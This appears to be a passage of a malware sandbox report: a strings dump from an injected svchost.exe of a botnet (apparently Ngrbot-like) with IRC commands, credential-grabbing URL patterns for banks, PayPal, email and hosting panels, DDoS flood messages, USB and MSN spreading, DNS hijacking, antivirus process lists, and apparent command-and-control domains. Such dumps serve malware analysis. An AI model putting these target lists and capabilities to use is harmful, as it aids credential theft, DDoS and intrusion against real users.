e><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>URLDownloadToFileW</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>RegNotifyChangeKeyValue</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>{A5DCBF10-6530-11D2-901F-00C04FB951ED}</pre><pre>shlwapi.dll</pre><pre>crypt32.dll</pre><pre>wtsapi32.dll</pre><pre>samcli.dll</pre><pre>netutils.dll</pre><pre>userenv.dll</pre><pre>WindowsSecondaryDesktop</pre><pre>\charmap.exe</pre><pre>\Windows Media Player\wmprph.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>Aadvapi32.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><b>svchost.exe_1904_rwx_000D0000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%System%\svchost.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\svchost.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>svchost.exe_1904_rwx_00120000_0009C000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>PSSSSSSh</pre><pre>PSSVSSh</pre><pre>RPVSSh</pre><pre>PSSh(</pre><pre>PSSh#</pre><pre>PSSh'</pre><pre>PSSh&</pre><pre>PSSh*</pre><pre>9p.uV</pre><pre>Opera/9.00 (Windows NT 5.1; U; en)</pre><pre>Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)</pre><pre>Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0)</pre><pre>Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)</pre><pre>Opera 9.4 (Windows NT 6.1; U; en)</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)</pre><pre>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; NeosBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.2</pre><pre>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8</pre><pre>Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11</pre><pre>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)</pre><pre>Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50726)</pre><pre>SbieDll.dll</pre><pre>Software\Classes\CLSID\%s\X</pre><pre>Software\Classes\CLSID\%s\X\%s</pre><pre>0xX</pre><pre>SB:0xX</pre><pre>G:%s_0xX_%c:%s_v1$</pre><pre>Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u</pre><pre>IEXPLORE.EXE</pre><pre>IE.HTTP</pre><pre>SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice</pre><pre>IE.HTTPS</pre><pre>SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice</pre><pre>IE.AssocFile.HTM</pre><pre>HTTP\shell\open\command</pre><pre>Software\Microsoft\Windows\CurrentVersion\Ext\Settings\%s</pre><pre>Psapi.dll</pre><pre>%s\%s</pre><pre>Software\Adobe\Acrobat Reader\%s\Privileged</pre><pre>mscoree.dll</pre><pre>HARDWARE\DESCRIPTION\System\CentralProcessor\%u</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion</pre><pre>nspr4.dll</pre><pre>nss3.dll</pre><pre>Urlmon.dll</pre><pre>URLDownloadToFileW</pre><pre>Netapi32.dll</pre><pre>76487-640-1457236-23837</pre><pre>76487-337-8429955-22614</pre><pre>76487-644-3177037-23510</pre><pre>76497-640-6308873-23835</pre><pre>55274-640-2673064-23950</pre><pre>76487-640-8834005-23195</pre><pre>76487-640-0716662-23535</pre><pre>76487-644-8648466-23106</pre><pre>00426-293-8170032-85146</pre><pre>76487-341-5883812-22420</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsBackup</pre><pre>{8E5E2654-AD2D-48BF-AC2D-D17F00898D06}</pre><pre>snxhk.dll</pre><pre>comctl32.dll</pre><pre>ZwSetValueKey</pre><pre>ZwDeleteValueKey</pre><pre>SOFTWARE\%s</pre><pre>update.microsoft.com</pre><pre>microsoft.com</pre><pre>windowsupdate.microsoft.com</pre><pre>JOIN</pre><pre>PRIVMSG</pre><pre>.rdata</pre><pre>cmd_option.%s</pre><pre>/c %s</pre><pre>cmd.exe</pre><pre>msvcrt.dll</pre><pre>--x-x-x-xx</pre><pre>Content-Type: multipart/form-data; boundary=x-x-x-xx</pre><pre>Content-Disposition: multipart/form-data; name="newfile"; filename="%d.jpeg"</pre><pre>%s?action=up&g=%s</pre><pre>xul.dll</pre><pre><Port></Port></pre><pre><Pass></Pass></pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>HTTP/1.1</pre><pre>?pid=%d</pre><pre>?page=%d</pre><pre>?id=%u</pre><pre>%s=%u&%s=%s</pre><pre>%s=%s&%s=%u</pre><pre>&%s=%s</pre><pre>&%s%u=</pre><pre>&%s%hu=</pre><pre>&%s=_%u</pre><pre>%d|%s|%s|%s</pre><pre>.info</pre><pre>httpget</pre><pre>GET /%s HTTP/1.1</pre><pre>Host: %s</pre><pre>Content-Length: %d</pre><pre>Accept: %s</pre><pre>Accept-Language: %s</pre><pre>Accept-Charset: %s</pre><pre>Accept-Encoding: %s</pre><pre>User-Agent: %s</pre><pre>Referer: %s</pre><pre>Connection: %s</pre><pre>http://</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>tbb-firefox.exe</pre><pre>%s:%hu</pre><pre>windowsupdate</pre><pre>SSH2_MSG_KEXINIT</pre><pre>SSH2_MSG_DISCONNECT</pre><pre>SSH2_MSG_USERAUTH_SUCCESS</pre><pre>http://%s%s/image.php?id=%s</pre><pre>TaskDialogIndirect</pre><pre>http://answers.microsoft.com/en-us/windows/forum/windows_vista-windows_programs/corrupted-documents-folder/e2a7660f-8eea-4f27-b2e6-e77a0f0c1535</pre><pre>ÐxX</pre><pre>ntdll.dll</pre><pre>kernel32.dll</pre><pre>secur32.dll</pre><pre>crypt32.dll</pre><pre>user32.dll</pre><pre>advapi32.dll</pre><pre>wininet.dll</pre><pre>shell32.dll</pre><pre>shlwapi.dll</pre><pre>ole32.dll</pre><pre>version.dll</pre><pre>sfc.dll</pre><pre>dnsapi.dll</pre><pre>ws2_32.dll</pre><pre><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></pre><pre><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></pre><pre>8"808]9|9</pre><pre>9%9 919<9</pre><pre>=(=/=6==={=</pre><pre>4 4?4^4}4</pre><pre>6o6g6r6w6</pre><pre>9 9$9(90949</pre><pre>SSh\LA</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>Invalid parameter passed to C runtime function.</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>GetKeyNameTextW</pre><pre>ExitWindowsEx</pre><pre>GetAsyncKeyState</pre><pre>USER32.dll</pre><pre>GDI32.dll</pre><pre>SHLWAPI.dll</pre><pre>GetProcessHeap</pre><pre>GetCPInfo</pre><pre>KERNEL32.dll</pre><pre>zcÁ</pre><pre>RvKS.iu</pre><pre>z=~{%U</pre><pre>'t9P^%Um</pre><pre>ur$%C</pre><pre>Jn~{%d</pre><pre>4 ^%6SH></pre><pre>.IrZ<</pre><pre>b43m.kx</pre><pre>.fps~</pre><pre>2(8=.gCW</pre><pre>Á1Lj</pre><pre>.yNH></pre><pre>Software\Classes\CLSID\%S</pre><pre>G:%S_0xX</pre><pre>chrome.exe</pre><pre>opera.exe</pre><pre>safari.exe</pre><pre>maxthon.exe</pre><pre>:Mozilla\Firefox\Profiles</pre><pre>cookies.sqlite</pre><pre>%s\winsxs\x86_microsoft.windows.common-controls_*6.0.*_*</pre><pre>%s\winsxs\%s\comctl32.dll</pre><pre>SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\%s</pre><pre>%s:*:Enabled</pre><pre>avcuf32.dll</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><pre>prstrui.exe</pre><pre>Windows Defender</pre><pre>MpClient.dll</pre><pre>Windows Defender\MSASCui.exe</pre><pre>MpSvc.dll</pre><pre>msseces.exe</pre><pre>MsMpEng.exe</pre><pre>MSASCui.exe</pre><pre>MpAsDesc.dll</pre><pre>MsMpLics.dll</pre><pre>avgui.exe</pre><pre>avgidsagent.exe</pre><pre>avgwdsvc.exe</pre><pre>avgdiagex.exe</pre><pre>avgmfapx.exe</pre><pre>avgupd.exe</pre><pre>avgcfgex.exe</pre><pre>avgnt.exe</pre><pre>avguard.exe</pre><pre>avshadow.exe</pre><pre>avcenter.exe</pre><pre>update.dll</pre><pre>updaterc.dll</pre><pre>usrreq.exe</pre><pre>ccsvchst.exe</pre><pre>symerr.exe</pre><pre>NIS.exe</pre><pre>NAV.exe</pre><pre>navw32.exe</pre><pre>avastui.exe</pre><pre>AvastEmUpdate.exe</pre><pre>ashUpd.exe</pre><pre>WRSA.exe</pre><pre>zatray.exe</pre><pre>ForceField.exe</pre><pre>updating.dll</pre><pre>fshoster32.exe</pre><pre>fsaua.dll</pre><pre>PSUNMain.exe</pre><pre>PSUAService.exe</pre><pre>PSANHost.exe</pre><pre>PSUNScan.dll</pre><pre>epavjobs.exe</pre><pre>AVENGINE.exe</pre><pre>Upgrader.exe</pre><pre>adaware.exe</pre><pre>BullGuard.exe.manifest</pre><pre>BullGuardUpdate.exe</pre><pre>BullGuard.exe</pre><pre>BullGuardScanner.exe</pre><pre>BullGuardBhvScanner.exe</pre><pre>BullGuardUpdate2.exe</pre><pre>BgScan.exe</pre><pre>BgScanEngine.dll</pre><pre>.manifest</pre><pre>updater.exe</pre><pre>Backup\RSD\RSSetup\updater.exe</pre><pre>RsTray.exe</pre><pre>RavMonD.exe</pre><pre>RsMgrSvc.exe</pre><pre>rsmain.exe</pre><pre>RsScan.dll</pre><pre>RsTray.dll</pre><pre>mbamgui.exe</pre><pre>mbam.exe</pre><pre>pctsGui.exe</pre><pre>pctsAuxs.exe</pre><pre>pctsSvc.exe</pre><pre>Update.exe</pre><pre>UpdateHlpr.dll</pre><pre>Definitions\vcore.dll</pre><pre>sbamui.exe</pre><pre>SBAMTray.exe</pre><pre>updater_client_mod.dll</pre><pre>FProtTray.exe</pre><pre>FPWin.exe</pre><pre>scf.dat</pre><pre>ALUpdate.exe</pre><pre>update_tmp.